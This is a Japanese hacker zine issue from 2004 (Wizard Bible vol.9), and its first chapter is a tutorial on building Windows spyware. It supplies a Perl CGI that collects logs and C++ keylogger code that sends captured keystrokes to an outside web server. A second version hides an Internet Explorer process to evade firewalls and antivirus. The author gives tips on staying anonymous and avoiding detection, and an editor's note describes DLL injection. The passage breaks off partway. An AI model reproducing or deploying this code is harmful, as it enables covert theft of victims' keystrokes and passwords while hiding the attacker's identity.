[-]=======================================================================[-] Wizard Bible vol.9 (2004,4,16) [-]=======================================================================[-] x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第0章:目次 --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○第1章:簡易スパイウェアの作成 〜Windows篇〜 Kenji Aiko 著 ○第2章:パズル・ロックの開錠 Defolos 著 ○第3章:匿名化の歴史とアタックの歴史 IPUSIRON 著 ○第4章:DJ&DTM 速報&能書き MaD 著 ○第5章:お知らせ ○第6章:著者プロフィール x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第1章: 簡易スパイウェアの作成 〜Windows篇〜 --- 著者:Kenji Aiko x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに スパイとは敵の本拠地に味方のふりをして侵入し、敵のさまざまな情報を味方 に渡すというなんとも危険な職業です。おそらく彼らは頭脳明晰であり、運動神 経抜群、そして渡辺謙クラスの演技力を持つ、それはもうすごい人でしょう。さ て、ソフトウェアにもスパイに似たようなものがあります。それがスパイウェア です。スパイはとてもすごい人かも知れませんが、スパイウェアはそれほどすご い技術ではありません(笑)。今回はWindows用の簡易的なスパイウェアを作りま す。OSはWindowsXPを利用しています。コンパイラはVC++.NETで確認ずみです。前 提となる知識は、Windowsプログラミング(特にWin32API)に関してある程度の知 識があることと、TCP/IPを利用したプログラムを組んだことがあること(簡単な クライアントプログラムを作ったことがあるなど)、そしてCGI/Perlを多少理解 していることです。 ■0x02.) スパイウェアとは IT用語辞書e-Words(http://e-words.jp/)によれば、スパイウェアとはパソ コンを使うユーザの行動や個人情報などを収集したり、マイクロプロセッサの空 き時間を借用して計算を行ったりするアプリケーションソフトのこととされてい ます。 分かりやすく解釈するならば「他人のPCに保存されている情報を収集するソ フト」ということでしょう。まさにスパイなわけですが、ウイルスやトロイ、バ ックドアなどと違うところは、あくまで情報を収集するだけであり、任意のプロ グラムを実行させたり、破壊活動を行ったりしないことです。ファイルを改竄し たり、外部からの侵入を許すプログラムではなく、ただPC内の情報を外部に漏 らすだけのプログラムといえます。 ■0x03.) 概要 インターネットでもっとも身近なプロトコルといえばおそらくHTTPでしょう。 このプロトコルを利用してPC内部の情報を外部に送信するプログラムを作成 します。どういった仕組みで行うのかを以下に示します(図1)。 (1.収集者が運営するHPにデータ保存を行うCGIを設置) +--------+(4.取得)+-----------------------------------+ | 収集者 |<---------| HTTPサーバ(データを保存するCGI) | +--------+ +-----------------------------------+ | | ↑(3.スパイウェアがCGIにアクセス) |(2.なんらかの方法で仕込む) | +-----------------------------------+ +--------------->| ターゲットPC(スパイウェア設置)| +-----------------------------------+ (図1) 仕組みとしてはシンプルなものです。スパイウェアはターゲットPCのなかで こっそりとHTTPクライアントとして動作し、情報をCGIに渡していきます。そのC GIは例えばクエリ文字列をファイルに保存するようなものにしておいて、スパイ ウェアはターゲットPCの情報をクエリ文字列にいれてHTTPクライアントとして CGIにアクセスします。CGIはクエリ文字列をファイルに保存。PCの情報はサー バにファイルとして保存されて、収集者はHPからファイルをDLすることによ ってターゲットPCの情報を閲覧することができます。 では最初にHTTPサーバにおくべきCGIを作成します。これはクエリ文字列(HP アドレスの'?'以降の文字列)を保存するだけの簡単なものにします。ログ閲覧の ために、クエリに"log"という文字列を渡すとファイルに保存されているデータを 出力するようにします。 ----- save.cgi #!/usr/bin/perl $LogFile = 'log.txt'; $data = $ENV{'QUERY_STRING'}; print "Content-Type: text/html\r\n\r\n"; print << "HEAD";
' . "\n"; open( RD, $LogFile ); @lines =' . "\n"; }elsif( $data ) { open( WR, ">>$LogFile" ); flock( WR, 2 ); print WR "$data\n"; close( WR ); } print << "EOF";; close( RD ); foreach( @lines ) { print $_; } print '
Hello! And Goodbye!!
EOF exit; ----- 短くするために改行のみの行を省きました。読みにくいですけど、短いので頑 張ってよんでください。CGIプログラムを組んだことがある方なら数分で理解でき ると思います。前準備はこれだけです。 では、スパイウェアを作りましょう。 ■0x04.) HTTP(HyperText Transfar Protocol) save.cgiのあるサーバのポート80番にアクセスしデータを渡すプログラムを作 成します。CGIにはターゲットPCのキーログを渡すことにします。キーログは GetAsyncKeyStateを利用することにします。HYDEをdefineするとWindowが非表示 になります。 +--- spy01.cpp ------------------------------+ | http://kenjinet.s26.xrea.com/spy/spy01.cpp | +--------------------------------------------+ ----- BOOL SendLogData(char *MainMemory, UINT len) { SOCKET sock; if((sock = ServConnect(HOST_NAME)) == -1){ return TRUE; } char *SendAllData = new char[len + (int)strlen(FILE_PATH) + 32]; wsprintf(SendAllData, "GET %s?%s HTTP/1.0\r\n\r\n", TEXT(FILE_PATH), MainMemory); send(sock, SendAllData, (int)strlen(SendAllData), 0); delete []SendAllData; shutdown(sock, SD_BOTH); closesocket(sock); WSACleanup(); return FALSE; } ----- SendLogData関数がキーログデータの送信を受け持ちます。ServConnectは接続 処理をまとめたものです。ホストを渡すとソケットを返してくれます。この関数 のソースはシンプルなので適当に読んでください。MainMemoryにはキーログのデ ータが入り、lenにはその長さが入ります。これらをSendAllDataにまとめて送信 します。 ではでは、この関数の呼び出し元に行きましょう。 ----- DWORD WINAPI Logger(LPVOID lpvoid) { DATA *Data = (DATA *)lpvoid; UINT len = 0; ....... ........(中略) ......... if( !(TEXT_SIZE > len) ){ if(SendLogData(MainMemory, len)){ MessageBox(Data->hWnd, "HTTPエラー", "Error", MB_OK); DestroyWindow(Data->hWnd); } ZeroMemory(MainMemory, sizeof(MainMemory)); len = 0; } Sleep(100); } return 0; } ----- 中略の部分にはGetAsyncKeyState関数でのどす黒いキーロギングのソースが並 びます(^^。フックを利用してもよいのですが、メンドクサイのでとりあえずこれ でいきましょう。 Logger関数は、スレッドとして作成され処理されています。 「WINAPI」がついてる関数は、スレッドとして実行される関数のようですが詳 しくはしらないので気になるならば調べてみてください。 Sleepで100ミリ秒待ってるので、つまり0.1秒ごとにキーの入力を調べてます。 しかし。0.1秒は以外に長いもので、結構キーストロークを見逃します。やはり 実用的にするならばフックを利用したほうがよさそうですね。 プログラム自体は単純で、TEXT_SIZEとlenが同じになったら、即ちMainMemory が埋まったら、MainMemoryにはいっている文字列を送信するためにSendLogData に渡します。 そして、ゼロクリアして再び、MainMemoryに溜め込みます。 TEXT_SIZEはプログラムの最初に15としているので15文字溜まったらCGIに送信 されます。気にいらないなら適当に変更してもよいです。 では、次はこの関数を実行したスレッド作成部分にいきます。 ----- case WM_CREATE: Data.hWnd = hWnd; Data.ThreadFlag = TRUE; DWORD ID; if((Thread = CreateThread(NULL, 0, Logger, (LPVOID)&Data, 0, &ID)) == NULL){ MessageBox(hWnd, "スレッドが作成できませんでした", "Error", MB_OK); DestroyWindow(hWnd); } ----- WM_CREATEなので、つまりプログラム実行直後ですね。もちろんWM_DESTROYに も後始末の処理があります。CreateThread関数に関しては、WBvol.8を参照して ください。 では、実際にテストしてみます。 まず、save.cgiをサーバ(適当なCGI可の無料HPスペースで十分ですが私は自 サバで試しました)に設置して、spy.cppを自分のPCで実行します。spy.cppは HOST_NAMEとFILE_PATHをそれぞれ適当なCGIパスに変更してください。実行したあ とテキストエディタなど(特になんでもいいです)に数行(15文字以上)文章を 入力するとサーバ側にキーログのファイルが作成されるはずです。見事、ターゲ ットPCのキーログを自分のHPスペースに保存されてるはずです。あとはFTPや ら繋いでファイルを収集するだけでターゲットPCのキーログが取得できます。 このようなスパイウェアは前回の記事で作成した「サーバとして稼動しバック ドア的な機能を提供するプログラム」(trojan.cpp)のように任意のプログラム を実行したりといったパワフルなことはできません。しかし、たとえプログラム (スパイウェア)が見つかったとしても収集者を特定することは困難になるはず です。何故ならtrojan.cppの場合、攻撃者はターゲットPCに直接アクセスしな ければならないので、攻撃者のIPアドレスがターゲットPCに渡されることに なります(もちろんproxyを経由すればよいですけど、telnetの串って少ないじ ゃないですか^^;)。ところが、図1のような仕組みで情報を取得していればタ ーゲットPCに残るのはHTTPサーバのアドレスのみです。適当なメールアドレス で無料HPスペースを取得してデータ収集を行っていたならば、たとえスパイウ ェアが見つかっても収集者を特定するのは難しいでしょう。しかもtrojan.cppと 違い直接アクセスするわけではないので、仕込みさえすればあとは何もせずに情 報がサーバに溜まっていくわけです。地味ですが、なかなか面白いですよね(^^;。 ■0x05.) Internet Explorer さて、HTTPを利用して外部にデータを送信する仕組みは分かったと思いますが、 実は「勝手にソケットとか飛ばしたら警告をしやがるアンチウイルスソフトやフ ァイヤーウォールがある」らしいんですよ。いやあんまり知らないんですけど知 人が言ってたので。なのでプログラムの中でソケットを生成するわけにはいかな い。しかも残念ながら私のPCにはワクチンソフトもファイヤーウォールも入っ てないので、本当に警告がでるかテストすることもできないわけなんです。だか らここからは推測になってしまいますが、多分そういうソフトはプログラム内で ソケットを直接扱ってるから文句を言うわけであって「Internet Explorerから 利用してやれば何もいわなくなるんじゃないかな?」と思ったわけです。 Internet Explorerの絶対パスはWindowsXPなら"C:\Program Files\Internet Explorer\iexplore.exe"です。無い場合はレジストリの"HKEY_LOCAL_MACHINE\SO FTWARE\Classes\Applications\iexplore.exe\shell\open\command"にパスが記し てありますので参照してください。 ----- C:\...\kenji>cd C:\Program Files\Internet Explorer\ C:\Program Files\Internet Explorer>iexplore.exe C:\Program Files\Internet Explorer> C:\Program Files\Internet Explorer>iexplore.exe http://kenjinet.s26.xrea.com/ C:\Program Files\Internet Explorer> ----- IEが起動します。HPアドレスを引数に渡してやることができます。ソケッ トではなくIEを利用して(IEも内部でソケットを生成してます)データを送 信する概要を以下に示します(図2)。 +-----------------------------------+ | HTTPサーバ(データを保存するCGI) | +-----------------------------------+ ↑(接続する) +---------------------+(生成)+---------------------+ | spyware (spy02.cpp) |------->| Internet Explorer | +---------------------+ +---------------------+ (プロセス1) (プロセス2) (図2) spy01.cppはプログラムの中でHTTPを利用してアクセスしてましたがspy02.cpp はCGIへのアクセス処理自体をIEに任せます。よって送信したいデータ(キー ログ)はすべてIEに渡すことになります。そしてもちろんIEのWindowは非表 示とします。これによって内部でIEが起動しこっそりと情報をサーバに送信す るスパイウェアの完成です。たとえアンチウイルスソフトやファイヤーウォール が外部への情報漏れをとめようとしても、IEを利用しているならばそう簡単に 防ぐことはできないでしょう。おそらくファイヤーウォールは貫通するはずです。 なぜならIEを利用しているということは普通にブラウザでインターネットを閲 覧している状態と変わらないのですから。 +--- spy02.cpp ------------------------------+ | http://kenjinet.s26.xrea.com/spy/spy02.cpp | +--------------------------------------------+ 接続処理を担当するServConnect関数はなくなりました。かわりにSendLogData 関数が長くなりました。 ----- BOOL SendLogData(char *MainMemory, UINT len) { int SendAllDataLen; SendAllDataLen = (int)strlen(PRGRM_NAME); SendAllDataLen += (int)strlen(HOST_NAME); SendAllDataLen += (int)strlen(FILE_PATH); SendAllDataLen += len; char *SendAllData = new char[SendAllDataLen + 16]; wsprintf(SendAllData, "%s http://%s%s?%s\r\n", TEXT(PRGRM_NAME), TEXT(HOST_NAME), TEXT(FILE_PATH), MainMemory); ----- SendAllDataが実行すべき文字列になります。まず、IEの絶対パス、空白を はさんで第一引数に「http://ホスト/パス?送信したいデータ」となります。サ ーバにおいている保存を受け持つCGIはsave.cgiです。 ----- STARTUPINFO SI; ZeroMemory(&SI, sizeof(SI)); SI.cb = sizeof(SI); SI.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; SI.wShowWindow = SW_HIDE; PROCESS_INFORMATION PI; if(CreateProcess(NULL, SendAllData, NULL, NULL, TRUE, 0, NULL, NULL, &SI, &PI) != TRUE){ return TRUE; } ----- プロセスを生成しています。これがIEの起動になりますのでWindow(IE) は非表示にしておきます。CreateProcess関数の説明はWBvol.8を参照してくださ い。 ----- char Title[256]; wsprintf(Title, "%s - Microsoft Internet Explorer", TEXT(FILE_TITLE)); HWND ieWindow; if((ieWindow = FindWindow(NULL, Title)) == NULL){ return TRUE; } PostMessage(ieWindow ,WM_CLOSE, 0, 0); WaitForSingleObject(PI.hProcess, 3000); CloseHandle(PI.hProcess); delete []SendAllData; return FALSE; } ----- ここはIEのWindowを探す処理を行っています。IEのWindowタイトルは「H Pのタイトル - Microsoft Internet Explorer」となりますので(例えばIEで Wizard Bibleを閲覧してるなら「Wizard Bible - Microsoft Internet Explorer」 ですよね)それをTitle変数にいれてます。そしてFindWindow関数でその該当す るWindow(つまりIE)を検索します。もしそういうタイトルのWindowが存在し なかったなら何かしらのエラーなのでTRUEを返します。存在したならサーバ上の CGIにデータ送信を完了したということなのでPostMessageでWM_CLOSEを送信し終 了させます。あとはWaitForSingleObjectでプロセスの終了を受け取ってハンド ルを閉じます。 さて、これを実行してみてください。15文字のキーログを取得しデータを送信 するときにマウスが「砂時計」になっちゃいます(なりませんか?)。個人的な 見解と偏見によるとおそらくIE起動に処理がかかってるんだろうなと思います が、こればっかりはどうしようもありません(^^;。15文字ごとに起動されちゃう ので、このような頻度で砂時計がでてきたら「もしかしたらウイルスに感染した かも?」という風に気づいちゃう人がでてくるかもしれないのでなんとかしたい です。まぁ文字送信の単位を15文字ではなく256文字くらいにしてもよいのです が、あまり長いとログの更新が遅れるので、例えばダブルクリックをフックして 送信するというようにするなどがよいかもしれません。ダブルクリックをする場 合はだいたいプログラムの起動なわけですので砂時計がでても「起動しているプ ログラムが重いのかな?」くらいですむでしょうし。IEを利用してる分アンチ ウイルスソフトやファイヤーウォールには引っかかりにくいと思いますが、いろ いろと融通がきかないのは仕方ないです。 【編注】別のアプローチ(根本的な考えは同じ)として、FindWindowでウィンド ウハンドルを取得してから、GetWindowThreadProcessldでスレッドIDを取得し、 SetWindowsHookExでWindowsフックを設定し、PostThreadMessageでDLLをプロセ スに読み込ませることでも実現できます。DLL extraction(DLL抽出)というテ クニックです。 ■0x06.) getコマンド HTTPを利用してインターネット上のページを取得するのにもっともよく利用さ れているプログラムはIEかもしれませんが、ページを取得するだけならコマン ドプロンプトからgetコマンドを利用しても同様のことができます(もちろんこ ちらはCUIですけどね、故に軽いです)。 ----- C:\...\kenji>get http://kenjinet.s26.xrea.com/ ......... ...(省略)... ............